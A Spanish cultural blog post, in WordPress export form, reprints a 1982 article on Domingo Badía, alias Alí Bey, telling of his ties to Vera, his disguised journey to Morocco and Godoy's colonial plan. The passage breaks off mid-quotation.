{"id":2571,"date":"2017-03-06T09:56:27","date_gmt":"2017-03-06T09:56:27","guid":{"rendered":"https:\/\/blog.vera.es\/cultura\/?p=2571"},"modified":"2018-01-15T10:39:59","modified_gmt":"2018-01-15T10:39:59","slug":"domingo-badia-leblicht-alias-ali-bey-01-05-1767-1822","status":"publish","type":"post","link":"https:\/\/blog.vera.es\/cultura\/2017\/03\/06\/domingo-badia-leblicht-alias-ali-bey-01-05-1767-1822\/","title":{"rendered":"DOMINGO BAD\u00cdA LEBLICHT, ALIAS AL\u00cd BEY. 01-05-1767-\u256c\u00bf1822?"},"content":{"rendered":"<p>Recuperamos un art\u00edculo del a\u00f1o 1982 sobre el conocido por los veratenses como Al\u00ed Bey, personaje que da nombre a una de las calles de la Ciudad de Vera.<\/p>\n<p><!--more--><\/p>\n<p>La relaci\u00f3n de este barcelon\u00e9s con Vera lleg\u00f3 con el traslado de su padre y su familia a esta Ciudad tras ser nombrado Comisario de Guerra del Partido de Vera (Contador de Guerra). Se cas\u00f3 en la Parroquia de la Encarnaci\u00f3n el d\u00eda 26-09-1791 con Mar\u00eda Luc\u00eda Burruezo (hoy Berruezo) Campoi, hija de los veratenses Pedro Burruezo (profesi\u00f3n: labrador propietario y mediero de la sal) y Antonia Campoi, con residencia en la Calle de las Pinaras (Reducto de la Paz). Tras desempe\u00f1ar oficios diversos, aprender idiomas, experimentar de manera pr\u00e1ctica con la ciencia, relacionarse con la francmasoner\u00eda y viajar por toda Europa, trata de convencer Carlos IV y Godoy de la necesidad de realizar un viaje cient\u00edfico por el norte de \u00c1frica disfrazado con ropajes \u00e1rabes con el fin de expandir colonialmente el comercio espa\u00f1ol y abrir sus mercados, amenazados por el Imperio Brit\u00e1nico y por las crisis de autoridad en Latinoam\u00e9rica, en contra del sult\u00e1n de Marruecos, Muley, que tambi\u00e9n ambicionaba la ocupaci\u00f3n de Espa\u00f1a. Tras la aventura de Bad\u00eda, Carlos IV, por evitar la mala conciencia y por escr\u00fapulos decide abortar el plan y no rebelar a los disc\u00edpulos de Marruecos contra el sult\u00e1n, abandonando el plan de Godoy y Al\u00ed Bey, regresando a Espa\u00f1a con grave peligro. La mala situaci\u00f3n econ\u00f3mica de Bad\u00eda lo obliga a realizar un segundo viaje, como esp\u00eda franc\u00e9s, a ese \u00c1frica que tanto le atra\u00eda, en el que desaparece, posiblemente asesinado por los servicios secretos brit\u00e1nicos, sin saber a ciencia cierta c\u00f3mo termin\u00f3 su vida.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/03\/IMG_9009.png\"><img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone size-full wp-image-2592\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/03\/IMG_9009.png\" alt=\"\" width=\"500\" height=\"333\" \/><\/a><\/p>\n<p>He aqu\u00ed el art\u00edculo:<\/p>\n<p><b>AL\u00cd BEY, UN ESP\u00cdA EN LA CORTE DE MARRUECOS. HISTORIA Y AVENTURAS DEL \u00abLAWRENCE\u00bb HISPANO.<\/b><\/p>\n<p>Jacobo Garc\u00eda Blanco-Cicer\u00f3n<\/p>\n<p>Cuando <b>Domingo Bad\u00eda y Leblicht<\/b> nace el primer d\u00eda de mayo de <b>1767 <\/b><b>[padres don Pedro Bad\u00eda y Cathalina Leblicht]<\/b>, los jesuitas acaban de ser expulsados del territorio nacional; en sierra Morena, bajo la direcci\u00f3n de Pablo de Olavide, se va a poner en pr\u00e1ctica el primer ensayo de colectivismo agrario en Espa\u00f1a; las <b>Sociedades Econ\u00f3micas<\/b> de Amigos del Pa\u00eds llevan tres a\u00f1os proliferando.<\/p>\n<p>En esta d\u00e9cada, con el <i><b>Sturm Und Drang<\/b><\/i>, culmina la fase de disoluci\u00f3n de la cultura cortesana. A\u00fan viven David Hume, Voltaire, Rousseau, Diderot, d&#8217;Alambert, Lessing, Jant, Adam Smith, Thomas Paine y Edmund Burke, y tambi\u00e9n Cadarso y Villarroel. Las luces de la <b>Ilustraci\u00f3n<\/b> comienzan a sufrir los embates del viento rom\u00e1ntico -que por el momento es s\u00f3lo una brisa en ascenso. Acaban de nacer Fichte, Cienfuegos y Madame de Sta\u00ebl. Estamos a un paso del nacimiento de Morat\u00edn, de H\u00f6lderlin, de Wordsworth.<\/p>\n<p>Jovellanos, V. de Foronda y Cabarr\u00fas defienden el <b>liberalismo<\/b> econ\u00f3mico y pol\u00edtico. Cinco a\u00f1os antes, B. Ward, en su Proyecto econ\u00f3mico, hab\u00eda previsto la p\u00e9rdida de las colonias y propugnado una econom\u00eda basada en la <b>industria<\/b>. Los ecos del mot\u00edn de <b>Esquilache<\/b> a\u00fan retumban por Madrid. El conde de Aranda preside en esta ciudad el Consejo de Castilla, cuyos fiscales primero y segundo son, respectivamente, <b>Campomanes<\/b> y el conde de <b>Floridablanca<\/b>.<\/p>\n<p>Ya se conocen la <b>m\u00e1quina de hilar <\/b>y el <b>hidr\u00f3geno<\/b>, y falta poco para el descubrimiento de la m\u00e1quina de vapor, con la que nacer\u00e1 el industrialismo.<\/p>\n<p>S\u00f3lo dos a\u00f1os atr\u00e1s Niebuhr toc\u00f3 el coraz\u00f3n de la Arabia central; cuando nace Bad\u00eda, Bougainville arriba a Polinesia y Melanesia; pronto se har\u00e1 a la mar el capit\u00e1n <b>Cook<\/b>. Al culminar el siglo se conocer\u00e1 aproximadamente el 83 por 100 de la superficie terrestre y el 60 por 100 de las tierras emergidas.<\/p>\n<p>Hijo de un funcionario p\u00fablico y hombre de confianza del conde de Onfalia, Domingo Bad\u00eda nace en <b>Barcelona<\/b>, una ciudad que cuenta con casi cien mil obreros, cuyas deplorables condiciones de vida dan lugar a los primeros conflictos industriales del pa\u00eds.<\/p>\n<p>Las tres cuartas partes de la poblaci\u00f3n espa\u00f1ola permanecen a\u00fan <b>inactivas<\/b>: 400.000 arist\u00f3cratas, 17.000 eclesi\u00e1sticos, 140.000 vagos y mendigos, aproximadamente 40.000 gitanos y una cifra imprecisa de <i>marranos<\/i> [jud\u00edo converso sospechoso de seguir practicando su antigua religi\u00f3n] y chuetas [descendientes de jud\u00edos conversos], negros y norteafricanos.<\/p>\n<p>Pero Bad\u00eda nace en la cuarta parte <b>activa<\/b> restante: <b>funcionarios civiles y militares, campesinos, fabricantes y artesanos, comerciantes, obreros y criados<\/b>.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/02\/ali_bey1.jpg\"><img decoding=\"async\" class=\"alignnone size-full wp-image-2586\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/02\/ali_bey1.jpg\" alt=\"\" width=\"400\" height=\"518\" \/><\/a><\/p>\n<p>Su infancia se reparte entre Barcelona y <b>Vera<\/b> (Granada). No hay constancia de que cursase alguna carrera superior, pero el joven Bad\u00eda se hizo notar por su inquietud e independencia de criterio, cualidades en general mal avenidas con la disciplina escolar. Su af\u00e1n de saber le orienta al estudio de las m\u00e1s variadas materias: matem\u00e1ticas, dibujo, astronom\u00eda, f\u00edsica, m\u00fasica\u2026, as\u00ed como al de diversas lenguas: lat\u00edn, franc\u00e9s, italiano e ingl\u00e9s.<\/p>\n<p>A los catorce a\u00f1os es nombrado <b>administrador de utensilios de la costa de Granada<\/b>, a los dieciocho <b>contador de guerra<\/b> con honores de comisario, a los veintid\u00f3s <b>administrador de tabacos<\/b> de <b>C\u00f3rdoba<\/b>. En este cargo permanece unos cuatro a\u00f1os. Su carrera parec\u00eda encaminarse por la senda burocr\u00e1tica, pero el destino dispone otra cosa.<\/p>\n<p><b>En 1791 contrajo matrimonio en Vera con Mar\u00eda Luisa <\/b><b>[*Luc\u00eda] <\/b><b>B<\/b><b>u<\/b><b>rruezo<\/b> [Campoi] [*corregido del original]. Ocho a\u00f1os despu\u00e9s de que Montgolfier inventara el primer <b>globo aerost\u00e1tico<\/b>, Bad\u00eda, con la ayuda econ\u00f3mica del padre de su esposa, construy\u00f3 el suyo. Logr\u00f3 autorizaci\u00f3n del Consejo Supremo de Castilla para elevarse con \u00e9l, pero su padre, al enterarse, consigui\u00f3 que se diera contraorden.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/02\/matrimonio-domingo-bad\u00eda-al\u00ed-bey-cont.jpg\"><img decoding=\"async\" class=\"alignnone size-full wp-image-2588\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/02\/matrimonio-domingo-bad\u00eda-al\u00ed-bey-cont.jpg\" alt=\"\" width=\"1238\" height=\"845\" \/><\/a><\/p>\n<p>El fracaso del proyecto oblig\u00f3 a Bad\u00eda a dejar C\u00f3rdoba en 1799. En <b>Madrid<\/b> no consigui\u00f3 el dinero necesario para compensar a su suegro, que hab\u00eda quedado en grave situaci\u00f3n econ\u00f3mica; pero al menos encontr\u00f3 trabajo como encargado de la <b>biblioteca y archivo<\/b> del pr\u00edncipe de Castelfranco. Aunque la justicia le apremiaba por sus deudas, Bad\u00eda no dej\u00f3 de frecuentar los medios cient\u00edficos, ni tampoco ciertos c\u00edrculos aristocr\u00e1ticos, a los que ten\u00eda acceso gracias a las relaciones paternas.<\/p>\n<p>Al tiempo que madura un plan de viaje cient\u00edfico a \u00c1frica, Bad\u00eda, llevado por su inter\u00e9s en la lengua <b>\u00e1rabe<\/b>, asiste a las clases de <b>Sim\u00f3n de Rojas Clemente<\/b>, catedr\u00e1tico de dicha disciplina. Entre disc\u00edpulo y maestro fragua una gran amistad, basada tambi\u00e9n en la afici\u00f3n mutua por las ciencias naturales.<\/p>\n<p>Los descubrimientos <b>egiptol\u00f3gicos<\/b> de la expedici\u00f3n napole\u00f3nica de 1798-1799 orientan el inter\u00e9s de la Europa prerrom\u00e1ntica hacia el continente africano. Bad\u00eda, alcanzado de lleno por la llamada del Oriente, y desalentando en su vocaci\u00f3n de inventor por el fracaso de su globo, presenta a la Real <b>Academia de la Historia su proyecto de viaje<\/b>, basado en precedentes m\u00e1s o menos conocidos.<\/p>\n<p>Su plan consiste en penetrar por la costa del Estrecho, atravesar el Atlas, bajar a trav\u00e9s del Sahara hasta el golfo de Guinea, llegar al Nilo y, por el desierto l\u00edbico, al Mediterr\u00e1neo, cerrando as\u00ed un c\u00edrculo estimado en 3.250 leguas (m\u00e1s de 18.000 kil\u00f3metros). Calculaba emplear en el viaje <b>cuatro a\u00f1os y un presupuesto de 268.000 reales<\/b> de vell\u00f3n (aproximadamente cinco veces el sueldo anual de un jefe superior de la Hacienda P\u00fablica).<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/02\/2-l\u00e1mina-pueblo-Marruecos.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-2573\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/02\/2-l\u00e1mina-pueblo-Marruecos.jpg\" alt=\"\" width=\"600\" height=\"235\" \/><\/a><\/p>\n<p><b>DE CIENT\u00cdFICO A ESP\u00cdA<\/b><\/p>\n<p>As\u00ed empieza un aut\u00e9ntico calvario para Bad\u00eda: sus visitas a los acad\u00e9micos comisionados para el dictamen y al primer secretario de Estado resultan infructuosas: la Real Academia emite una sentencia adversa. El 5 de agosto de 1801 Bad\u00eda enciende la chispa salvadora al presentar una nueva memoria a <b>Godoy<\/b>, ministro universal de <b>Carlos IV<\/b>, ampliando el objeto de su expedici\u00f3n: <i>\u2026 sus utilidades pol\u00edticas son tan obvias y extremadamente probables que admiro haya hombre que pueda razonablemente negarlas.<\/i><\/p>\n<p>Dos d\u00edas m\u00e1s tarde, Godoy da el visto bueno al proyecto. Pero a\u00fan quedan muchas resistencias por vencer e ideas que madurar. Hasta enero de 1802 la situaci\u00f3n permanece estancada. Al fin, por causas que se desconocen, Godoy siente renovarse su inter\u00e9s por el viaje y da \u00f3rdenes terminantes de que se habiliten inmediatamente fondos y se ampl\u00eden los objetivos del viaje -o su cobertura- a\u00f1adiendo un bot\u00e1nico, Rojas Clemente, a la expedici\u00f3n.<\/p>\n<p>Algunos historiadores coinciden en sospechar que Godoy parec\u00eda intuir a estas alturas el <b>derrumbamiento del imperio espa\u00f1ol<\/b> en Am\u00e9rica, no s\u00f3lo por la rivalidad de Inglaterra y otras potencias, sino tambi\u00e9n por la influencia de la independencia norteamericana. Sea como fuere, a partir del momento en que Godoy se entrega apasionadamente a esta aventura, lo que era un simple viaje cient\u00edfico pasa a convertirse en una <b>operaci\u00f3n pol\u00edtica y militar<\/b> contra el vecino reino de <b>Marruecos<\/b>.<\/p>\n<p>Godoy convenci\u00f3 a Carlos IV de la utilidad del viaje y prepar\u00f3 una entrevista de Bad\u00eda con el rey. \u00c9ste recibi\u00f3 a Bad\u00eda y a Rojas Clemente, les escuch\u00f3 con la mayor complacencia y les despidi\u00f3 risue\u00f1o. Ya con los pasaportes en la mano, tambi\u00e9n les despedir\u00eda Godoy.<\/p>\n<p>A partir de ese momento, la mujer y los hijos de Bad\u00eda, que llevaban desde 1801 bajo la protecci\u00f3n del Gobierno (24 reales diarios para la esposa, otros 12 sobre la mitra de C\u00e1diz para su hijo don Pedro y pensionada en el Real Colegio madrile\u00f1o de Monterrey su hija do\u00f1a Mar\u00eda de la Asunci\u00f3n), pasaban a disfrutar una renta anual de 12.000 reales, equivalente al sueldo de un oficial quinto de la Hacienda P\u00fablica.<\/p>\n<p>Donde antes s\u00f3lo encontraba dificultades, Bad\u00eda ve\u00eda ahora allanarse su camino, desde que gozaba del favor del todopoderoso pr\u00edncipe de la Paz. \u00c9ste orden\u00f3 a Bad\u00eda no entretenerse m\u00e1s. En mayo de 1802 Bad\u00eda y Clemente sal\u00edan a <b>Par\u00eds<\/b> y Londres con el fin de preparar su safari.<\/p>\n<p>En <b>Londres<\/b>, Bad\u00eda se relacion\u00f3 con hombres de ciencia y se provey\u00f3 de los instrumentos necesarios para sus observaciones astron\u00f3micas, geol\u00f3gicas y bot\u00e1nicas; tambi\u00e9n escribi\u00f3 la historia de este viaje preliminar y form\u00f3 una colecci\u00f3n de historia natural que envi\u00f3 al gabinete real. Fue presentado as\u00ed mismo a importantes personalidades, gracias sobre todo a su ingreso en la <b>francmasoner\u00eda<\/b>.<\/p>\n<p>La viva imaginaci\u00f3n de <b>Godoy<\/b> iba a transformar por completo el inocente car\u00e1cter de esta expedici\u00f3n; dejemos que nos lo explique en sus <i><b>Memorias<\/b><\/i>:<\/p>\n<p>\u2026 <i>Conceb\u00ed el raro medio de que Bad\u00eda pasase a aquel Imperio no ya como espa\u00f1ol, mas como \u00e1rabe, como un ilustre peregrino y un gran pr\u00edncipe descendiente del profeta <\/i>(cuyo) <i>objeto principal ser\u00eda ganar la confianza de <b>Muley<\/b> <\/i>(sult\u00e1n de Marruecos)<i> e inspirarle la idea de pedirnos nuestra asistencia y alianza contra los rebeldes. Si esta idea era bien acogida, deb\u00eda ofrecerse \u00e9l mismo para venir a negociar <\/i>(\u2026) <i>en nuestra Corte con poderes amplios. Si no alcanzaba a persuadirlo, deb\u00eda explorar el reino con achaque de viajero, reconocer sus fuerzas, enterarse de la opini\u00f3n de aquellos pueblos y procurarse inteligencias con los enemigos de <b>Muley<\/b>, por manera que, entrando en guerra, pudi\u00e9semos contar con su asistencia y obrar de un mismo acuerdo <\/i>(\u2026) <i>para poder hacernos due\u00f1os de una parte del Imperio, la que mejor nos conviniese.<\/i><\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/02\/6afdbb859b-home-2-Ali-Bey-Muley-Suleiman.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-2574\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/02\/6afdbb859b-home-2-Ali-Bey-Muley-Suleiman.png\" alt=\"\" width=\"338\" height=\"473\" \/><\/a><\/p>\n<p>En la decisi\u00f3n de Godoy influy\u00f3 de manera decisiva la propia personalidad de Bad\u00eda: <i>era el hombre para el caso. <\/i><i><b>Valiente y arrojado<\/b><\/i><i> como pocos, disimulado, astuto, de car\u00e1cter emprendedor, amigo de <\/i><i>aventuras, hombre de fantas\u00eda y verdadero original, de donde la poes\u00eda pudiera haber sacado muchos rasgos para sus h\u00e9roes fabulosos; hasta sus mismas faltas, la violencia de sus pasiones y la genial intemperancia de su esp\u00edritu le hac\u00edan apto para aquel designio.<\/i><\/p>\n<p>En Londres, Bad\u00eda aprovech\u00f3 una ausencia de su amigo Clemente -que hab\u00eda salido a herborizar al Spring Forest- para hacerse <b>cincuncidar<\/b>. La operaci\u00f3n -pen\u00faltimo paso para su completa transformaci\u00f3n en un aut\u00e9ntico musulm\u00e1n- le result\u00f3 tan dolorosa que decidi\u00f3 no someter a su amigo a la misma prueba.<\/p>\n<p>Tras larga convalecencia, Bad\u00eda y Clemente -ignorante este \u00faltimo de que su amigo y Godoy pretend\u00edan orillarlo- adoptaron vestimenta y <b>nombre musulmanes<\/b>: <b>Al\u00ed Bey, el primero; Muhamed Ben Al\u00ed<\/b>, el segundo. Poco despu\u00e9s embarcaron en una fragata hasta <b>C\u00e1diz<\/b>.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/02\/Al\u00ed_Bey_el_Abbassi_1.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-2585\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/02\/Al\u00ed_Bey_el_Abbassi_1.jpg\" alt=\"\" width=\"600\" height=\"453\" \/><\/a><\/p>\n<p>All\u00ed pasaron su primera prueba, cuando unos marroqu\u00edes les tomaron por jud\u00edos; pero la habilidad de los dos supuestos pr\u00edncipes \u00e1rabes hizo mudar de opini\u00f3n a los suspicaces, que terminaron solicitando la protecci\u00f3n de los dos poderosos se\u00f1ores.<\/p>\n<p>Desde <b>Algeciras<\/b>, Al\u00ed Bey, como se llamar\u00e1 desde ahora, adelant\u00f3, con una excusa, la traves\u00eda del Estrecho, dejando en tierra a Muhamed Ben Al\u00ed. Una vez en T\u00e1nger, donde desembarca el 29 de junio de 1803, escribe a su amigo y le disuade de seguirle.<\/p>\n<p>A partir de este momento, Al\u00ed Bey corta toda correspondencia con los suyos, para dejar al Gobierno en libertad de dar la versi\u00f3n que m\u00e1s le convenga sobre \u00e9l. La soledad, como es sabido, es el aire que respiran los esp\u00edas.<\/p>\n<p><b>EL PLAN DE GODOY<\/b><\/p>\n<p>Lo que le ocurri\u00f3 a Bad\u00eda en los dos a\u00f1os que permaneci\u00f3 en <b>Marruecos<\/b> es la materia propia de sus <i>Viajes<\/i>. S\u00f3lo que habla en ellos Al\u00ed Bey, y no Bad\u00eda. Nada nos cuenta, por tanto, de las secretas intenciones de su excursi\u00f3n. Porque ese aparentemente inocuo libro de viajes esconde, en realidad, una de las aventuras m\u00e1s osadas que ha corrido un occidental en tierras musulmanas y uno de los planes m\u00e1s ambiciosos del <b>colonialismo espa\u00f1ol<\/b> contra Marruecos.<\/p>\n<p>Por este motivo la verdadera finalidad del viaje de Bad\u00eda hay que buscarla en su <b>correspondencia secreta<\/b> con los agentes de Godoy en ambos lados del Estrecho, en las <i>Memorias<\/i> del pr\u00edncipe de la Paz y en otras fuentes mencionadas en la bibliograf\u00eda que acompa\u00f1a a este trabajo. De forma muy sint\u00e9tica vamos a exponer ahora las l\u00edneas maestras del plan de Godoy.<\/p>\n<p>El poder\u00edo naval espa\u00f1ol est\u00e1 llegando a su fin: son los a\u00f1os inmediatamente anteriores a <b>Trafalgar<\/b>. Entre tratado de paz y reanudaci\u00f3n de las hostilidades, Manuel Godoy dise\u00f1a grandiosos proyectos para la expansi\u00f3n de Espa\u00f1a en \u00c1frica.<\/p>\n<p>El zarpazo que proyectaba asestar en el extremo noroccidental del vecino continente no consist\u00eda tanto en incrementar los casi 15 millones de kil\u00f3metros cuadrados que a\u00fan comprend\u00edan nuestras colonias en 1830, como en conquistar <b>nuevos mercados<\/b>.<\/p>\n<p>Esto exig\u00eda, ante todo, estudiar la forma de <i>extender nuestro comercio en las escalas de Levante, desde Marruecos al Egipto, adquirir cuidadosamente cuantos art\u00edculos ex\u00f3ticos pudiesen aclimatarse en Am\u00e9rica y adquirir una parte especial\u00edsima del comercio interior del \u00c1frica por el conducto de Marruecos. Esta oscura ensenada de comercio, descuidada por las dem\u00e1s naciones<\/i> podr\u00eda surtirnos de cientos de <b>productos<\/b> por los que Europa suspiraba, y al mismo tiempo absorber el <b>excedente de nuestras f\u00e1bricas<\/b>. Mas para ello necesit\u00e1bamos <b>puertos propios<\/b> en las costas marroqu\u00edes.<\/p>\n<p><i>Con otra gente menos idiota y desleal que la morisca &#8211;<\/i>contin\u00faa el general\u00edsmo Godoy- habr\u00eda cabido un buen tratado de comercio, cuyo provecho hubiese sido mutuo. Pero <b>Muley Solim\u00e1n<\/b> so\u00f1aba con <i>soltar, como \u00e9l dec\u00eda, sus perros contra Espa\u00f1a en los dos mares y dejar libertad a sus vasallos para atacar nuestros presidios.<\/i><\/p>\n<p><b>Ambos gobernantes alimentaban ambiciones territoriales en el pa\u00eds vecino<\/b>. Godoy deseaba <i>un puerto en el Estrecho <\/i><i>y otro en el Oc\u00e9ano. <\/i>Muley codiciaba nada menos que <i>los hermosos reinos de Granada, Sevilla y C\u00f3rdoba<\/i>. Pero los dos tendr\u00edan que librarse de terceros enemigos antes de poder intentar siquiera la realizaci\u00f3n de sus anhelos.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/02\/Al\u00ed_Bey_-_Aldea_egipcia_con_palomares_1806.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-2584\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/02\/Al\u00ed_Bey_-_Aldea_egipcia_con_palomares_1806.jpg\" alt=\"\" width=\"1024\" height=\"616\" \/><\/a><\/p>\n<p>Godoy tendr\u00eda que zafarse del estrecho abrazo de <b>Inglaterra<\/b>, que era ya la potencia hegem\u00f3nica en el mar. Solim\u00e1n deber\u00eda acabar con el estado casi end\u00e9mico de agitaci\u00f3n de su reino, que amenazaba la estabilidad de su trono. Ninguno de los dos lo conseguir\u00eda.<\/p>\n<p>Desde que en 1791 <b>el Mazj\u00e9n<\/b> rompi\u00f3 las antiguas paces con Espa\u00f1a y comenz\u00f3 a exigir tributos, el gobierno de Carlos IV no pudo distraer su atenci\u00f3n del escenario europeo para embarcarse en la siempre incierta aventura africana. Por este motivo tuvo que resignarse a ofrecer costosos regalos al trono cherifiano, que \u00e9ste reclamar\u00eda al poco tiempo como un derecho adquirido, amenazando con interrumpir su comercio con Espa\u00f1a en caso de que dejara de ofrec\u00e9rselos.<\/p>\n<p>A una negativa de Godoy en este sentido el sult\u00e1n respondi\u00f3 con la prohibici\u00f3n de comprar grano en sus puertos y retirando su protecci\u00f3n a nuestros buques. A continuaci\u00f3n se siguieron los amagos contra nuestros presidios y vejaciones y durezas ejercidas con los negociantes espa\u00f1oles, violando a cada paso los tratados y costumbres recibidas, como informa Godoy en sus <i>Memorias<\/i>. <b>Era una buena ocasi\u00f3n para intentar un golpe contra el emperador<\/b>.<\/p>\n<p><b>T\u00c1CTICA ALTERNATIVA<\/b><\/p>\n<p>A causa de la irreductible oposici\u00f3n del sult\u00e1n a entenderse con los espa\u00f1oles, tal como le suger\u00eda Bad\u00eda, en contra de sus enemigos internos, Godoy dise\u00f1\u00f3 una <b>t\u00e1ctica alternativa<\/b>. El vuelco de la situaci\u00f3n marroqu\u00ed habr\u00eda de pivotar entonces sobre <b>el sherif Ahmed<\/b>, que hab\u00eda levantado en Sus el estancamiento de la rebeli\u00f3n y amenazaba con apoderarse de todo el Imperio.<\/p>\n<p>Esto, asegura Godoy, aunque a rengl\u00f3n seguido, sin explicaci\u00f3n alguna, nos informe de que su agente especial se entrevist\u00f3 no con Ahmed, sino con su hijo <b>Hescham<\/b>, a quien, en su papel de pr\u00edncipe abbasida que hab\u00eda ido a Espa\u00f1a a cumplir un voto, le propuso su intervenci\u00f3n con el gobierno castellano para buscarle ayuda y coronarlo. <b>Hescham, a cambio del trono de Marruecos, prometi\u00f3 a Al\u00ed Bey entregar<\/b><b> <\/b><b>a Espa\u00f1a Fez, Tetu\u00e1n, T\u00e1nger y los dos Sal\u00e9s, nuevo y viejo, es decir, <\/b><i><b>el trozo m\u00e1s civilizado y rico del reino.<\/b><\/i><\/p>\n<p>Godoy se frotaba ya las manos. Seg\u00fan \u00e9l <i>habr\u00eda bastado reunir en los presidios, cuando menos, quince mil hombres, atraer all\u00ed las tropas de Meley y, comenzada la invasi\u00f3n por el caudillo Hescham, penetrar m\u00e1s adentro y acudirle.<\/i> Para elevar a Hescham al trono, pensaba Godoy, simplemente hab\u00eda que expulsar a <i>un hombre que estaba aborrecido de sus s\u00fabditos<\/i> y que s\u00f3lo dispon\u00eda de los <b>10.000 uaidas<\/b> de su guardia, la mayor\u00eda esclavos negros.<\/p>\n<p>Al razonar as\u00ed Godoy da la impresi\u00f3n de intentar convencerse a s\u00ed mismo. Menciona el hecho de que, en caso de guerra, todo musulm\u00e1n es soldado, pero no extrae de este importante dato las debidas consecuencias: una intervenci\u00f3n espa\u00f1ola podr\u00eda levantar al pa\u00eds en masa contra el infiel. El retrato que pinta de Muley no parece menos exagerado: en los informes de Bad\u00eda no hay nada que permita suponer que el sult\u00e1n sea un monstruo de iniquidad, odiado por todos. Por lo dem\u00e1s, el propio Godoy era execrado por buena parte de sus compatriotas, y ello no le impidi\u00f3 mantenerse en lo alto del pescante desde 1792 hasta 1808.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/02\/39413377_16589758.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-2582\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/02\/39413377_16589758.jpg\" alt=\"\" width=\"480\" height=\"640\" \/><\/a><\/p>\n<p>En cuanto a la posible aparici\u00f3n de terceros en discordia, calcula Godoy que entre toda la parentela de Muley hab\u00eda uno solamente (<b>Muley Abdelmelek<\/b>) que pudiera oponerle alguna resistencia y disputarle el trono a Hescham. Pero \u00e9ste ya hab\u00eda tomado medidas al respecto: a una se\u00f1al suya, supuestos partidarios de Abdelmedek, primo del sult\u00e1n, le deber\u00edan sorprender y alejarle de Marruecos.<\/p>\n<p>En cuanto a Hescham mismo, \u00bfqu\u00e9 mejor prueba de su sinceridad que el hecho de mostrarse dispuesto a entregar rehenes a Espa\u00f1a para verse de ese modo obligado a mantener sus promesas? <i>Con nosotros<\/i> -concluye Godoy- <i>lo pod\u00eda todo aquel caudillo; sin nosotros no pod\u00eda nada, porque le faltaban artilleros y buenos trenes de campa\u00f1a.<\/i><\/p>\n<p><b>FINAL DE LA AVENTURA<\/b><\/p>\n<p>Veamos en qu\u00e9 concluy\u00f3 aquella fant\u00e1stica operaci\u00f3n: <i>Cuando envi\u00e9 mis instrucciones por extenso al <\/i><i><b>marqu\u00e9s de la Solana<\/b><\/i> * [Capit\u00e1n general de Andaluc\u00eda] -cuenta Godoy-<i> me pareci\u00f3 debido mostr\u00e1rselas primero a Carlos IV; pero Su Majestad me dijo que pod\u00eda enviarlas, y que despu\u00e9s, cuando se hallase m\u00e1s despacio, tendr\u00eda contento en darlas, juntamente con un resumen bien circunstanciado que me ten\u00eda pedido de la cor<\/i><i>r<\/i><i>esp<\/i><i>o<\/i><i>ndencia de Bad\u00eda. El resumen estaba ya extendido, y justamente aquella misma noche me mand\u00f3 se lo leyese. Entre las cartas de Bad\u00eda se hallaba el anuncio de la <\/i><i><b>donaci\u00f3n de Semelalia<\/b><\/i> [palacio y finca que el sult\u00e1n hab\u00eda regalado a Al\u00ed Bey] <i>y dem\u00e1s gracias y favores que el emperador marroqu\u00ed le hab\u00eda hecho <\/i>(\u2026) <i>Y he aqu\u00ed que cuando llegu\u00e9 a esta parte (\u2026) not\u00e9 en Su Majestad una se\u00f1al como de horror, tras la cual, despu\u00e9s de haber le\u00eddo por s\u00ed mismo aquel diploma, me dijo estas palabras:<\/i><\/p>\n<p><i>&#8211;<\/i><i>No, en mis d\u00edas no ser\u00e1 esto; yo he aprobado la guerra porque es justa y provechosa a mis vasallos. He aprobado tambi\u00e9n que antes de hacerse vaya un explorador, porque esto se acostumbra y es forzoso algunas veces para emprenderla con acierto; pero jam\u00e1s consentir\u00e9 que la <\/i><i><b>hospitalidad se vuelva en da\u00f1o<\/b><\/i><i> y perdici\u00f3n del que la da benignamente. Con Dios y con el mundo ser\u00eda yo responsable de tal hecho siendo un agente m\u00edo quien habr\u00eda obrado de esa suerte. La <\/i><i><b>culpa es de Bad\u00eda<\/b><\/i><i>, que debi\u00f3 quedarse libre y no aceptar esos favores\u2026 <\/i><i><b>A Bad\u00eda, que se vaya y que prosiga sus viajes; otro hombre de m\u00e1s juicio y de m\u00e1s peso se podr\u00e1 encargar de manejar ese negocio.<\/b><\/i><\/p>\n<p><i> <\/i>(\u2026)<i> Pero se\u00f1or -le dije al rey-, tiene que costar m\u00e1s deshacer lo que est\u00e1 hecho que llevarlo adelante. Hay adem\u00e1s personas, y algunas de \u00e9stas espa\u00f1olas, que podr\u00e1n pagar con su cabeza si se vuelve un paso atr\u00e1s de lo que est\u00e1 andado.<\/i><\/p>\n<p><i> -Si los comprometidos -dijo el rey- son vasallos 